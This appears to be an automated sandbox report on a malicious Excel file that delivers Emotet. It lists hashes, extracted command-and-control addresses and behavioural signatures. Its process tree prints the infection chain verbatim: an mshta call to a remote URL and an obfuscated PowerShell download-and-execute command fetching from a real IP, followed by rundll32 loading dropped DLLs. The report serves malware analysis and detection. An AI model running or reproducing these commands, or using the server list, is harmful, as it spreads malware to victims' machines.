Analysis
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max time kernel
108s -
max time network
132s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220112 -
submitted
21-01-2022 09:26
Behavioral task
behavioral1
Sample
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Resource
win10v2004-en-20220112
General
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Target
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
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Size
71KB
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MD5
21fc12ef8a4a4ba5b38a303fa7e70c08
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SHA1
5700a2231371b289eae19ce62e1a73457ee582c4
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SHA256
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
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SHA512
8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654
Malware Config
Extracted
http://0xb907d607/fer/fe2.html
Extracted
http://185.7.214.7/fer/fe2.png
Extracted
emotet
Epoch4
131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1248 1828 cmd.exe 54 -
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid Process procid_target PID 3988 created 676 3988 WerFault.exe 66 -
Blocklisted process makes network request 4 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid Process 37 676 mshta.exe 40 364 powershell.exe 43 364 powershell.exe 63 1144 rundll32.exe -
Downloads MZ/PE file
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Sets service image path in registry 2 TTPs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 4 IoCs
Processes:
rundll32.exerundll32.exerundll32.exerundll32.exepid Process 3480 rundll32.exe 3540 rundll32.exe 1764 rundll32.exe 1144 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc Process File opened for modification C:\Windows\SysWOW64\Eootvmizxet\rmfvykgxioy.bdp rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target Process procid_target 2236 676 WerFault.exe 66 -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEWerFault.exedescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe -
Enumerates system info in registry 2 TTPs 5 IoCs
Processes:
EXCEL.EXEWerFault.exedescription ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Modifies data under HKEY_USERS 41 IoCs
Processes:
WaaSMedicAgent.exedescription ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid Process 1828 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exeWerFault.exerundll32.exepid Process 364 powershell.exe 364 powershell.exe 2236 WerFault.exe 2236 WerFault.exe 1144 rundll32.exe 1144 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 364 powershell.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
Processes:
EXCEL.EXEpid Process 1828 EXCEL.EXE 1828 EXCEL.EXE 1828 EXCEL.EXE 1828 EXCEL.EXE 1828 EXCEL.EXE 1828 EXCEL.EXE 1828 EXCEL.EXE 1828 EXCEL.EXE 1828 EXCEL.EXE 1828 EXCEL.EXE 1828 EXCEL.EXE 1828 EXCEL.EXE 1828 EXCEL.EXE 1828 EXCEL.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
EXCEL.EXEcmd.exemshta.exeWerFault.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid Process procid_target PID 1828 wrote to memory of 1248 1828 EXCEL.EXE 64 PID 1828 wrote to memory of 1248 1828 EXCEL.EXE 64 PID 1248 wrote to memory of 676 1248 cmd.exe 66 PID 1248 wrote to memory of 676 1248 cmd.exe 66 PID 676 wrote to memory of 364 676 mshta.exe 69 PID 676 wrote to memory of 364 676 mshta.exe 69 PID 3988 wrote to memory of 676 3988 WerFault.exe 66 PID 3988 wrote to memory of 676 3988 WerFault.exe 66 PID 364 wrote to memory of 3844 364 powershell.exe 75 PID 364 wrote to memory of 3844 364 powershell.exe 75 PID 3844 wrote to memory of 3480 3844 cmd.exe 76 PID 3844 wrote to memory of 3480 3844 cmd.exe 76 PID 3844 wrote to memory of 3480 3844 cmd.exe 76 PID 3480 wrote to memory of 3540 3480 rundll32.exe 77 PID 3480 wrote to memory of 3540 3480 rundll32.exe 77 PID 3480 wrote to memory of 3540 3480 rundll32.exe 77 PID 3540 wrote to memory of 1764 3540 rundll32.exe 79 PID 3540 wrote to memory of 1764 3540 rundll32.exe 79 PID 3540 wrote to memory of 1764 3540 rundll32.exe 79 PID 1764 wrote to memory of 1144 1764 rundll32.exe 80 PID 1764 wrote to memory of 1144 1764 rundll32.exe 80 PID 1764 wrote to memory of 1144 1764 rundll32.exe 80
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1828 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1248 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe2.html3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:676 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:364 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:3844 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3480 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3540 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Eootvmizxet\rmfvykgxioy.bdp",OqdbN8⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1764 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Eootvmizxet\rmfvykgxioy.bdp",DllRegisterServer9⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:1144
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 676 -s 17204⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2236
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p1⤵PID:2068
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 878a8eeca22abd164f95bf8840bb77ae FHrP0mqSN0m2aVNZ/L2hQQ.0.1.0.0.01⤵
- Modifies data under HKEY_USERS
PID:1712
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 424 -p 676 -ip 6761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:3988
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
7df3b033cb4cc3c213b66b9130b6bffe
SHA135a7de6ecfc13e3dbb6b2718c6bf2eb2cccc40b9
SHA25646b9e94b5ec9fceeb69948205ff730b3f675e6e4373e92a9c5bf8473496d6de7
SHA5124325eb95d8ca952f740db660b3cbf32d77af1860045b2306c8301ab438ffe0d127e2c2b4d651a07ea15ae711dbc41735106265a8452f9a67b519a1a66ee68279
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MD5
7df3b033cb4cc3c213b66b9130b6bffe
SHA135a7de6ecfc13e3dbb6b2718c6bf2eb2cccc40b9
SHA25646b9e94b5ec9fceeb69948205ff730b3f675e6e4373e92a9c5bf8473496d6de7
SHA5124325eb95d8ca952f740db660b3cbf32d77af1860045b2306c8301ab438ffe0d127e2c2b4d651a07ea15ae711dbc41735106265a8452f9a67b519a1a66ee68279
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MD5
7df3b033cb4cc3c213b66b9130b6bffe
SHA135a7de6ecfc13e3dbb6b2718c6bf2eb2cccc40b9
SHA25646b9e94b5ec9fceeb69948205ff730b3f675e6e4373e92a9c5bf8473496d6de7
SHA5124325eb95d8ca952f740db660b3cbf32d77af1860045b2306c8301ab438ffe0d127e2c2b4d651a07ea15ae711dbc41735106265a8452f9a67b519a1a66ee68279
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MD5
7df3b033cb4cc3c213b66b9130b6bffe
SHA135a7de6ecfc13e3dbb6b2718c6bf2eb2cccc40b9
SHA25646b9e94b5ec9fceeb69948205ff730b3f675e6e4373e92a9c5bf8473496d6de7
SHA5124325eb95d8ca952f740db660b3cbf32d77af1860045b2306c8301ab438ffe0d127e2c2b4d651a07ea15ae711dbc41735106265a8452f9a67b519a1a66ee68279
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MD5
7df3b033cb4cc3c213b66b9130b6bffe
SHA135a7de6ecfc13e3dbb6b2718c6bf2eb2cccc40b9
SHA25646b9e94b5ec9fceeb69948205ff730b3f675e6e4373e92a9c5bf8473496d6de7
SHA5124325eb95d8ca952f740db660b3cbf32d77af1860045b2306c8301ab438ffe0d127e2c2b4d651a07ea15ae711dbc41735106265a8452f9a67b519a1a66ee68279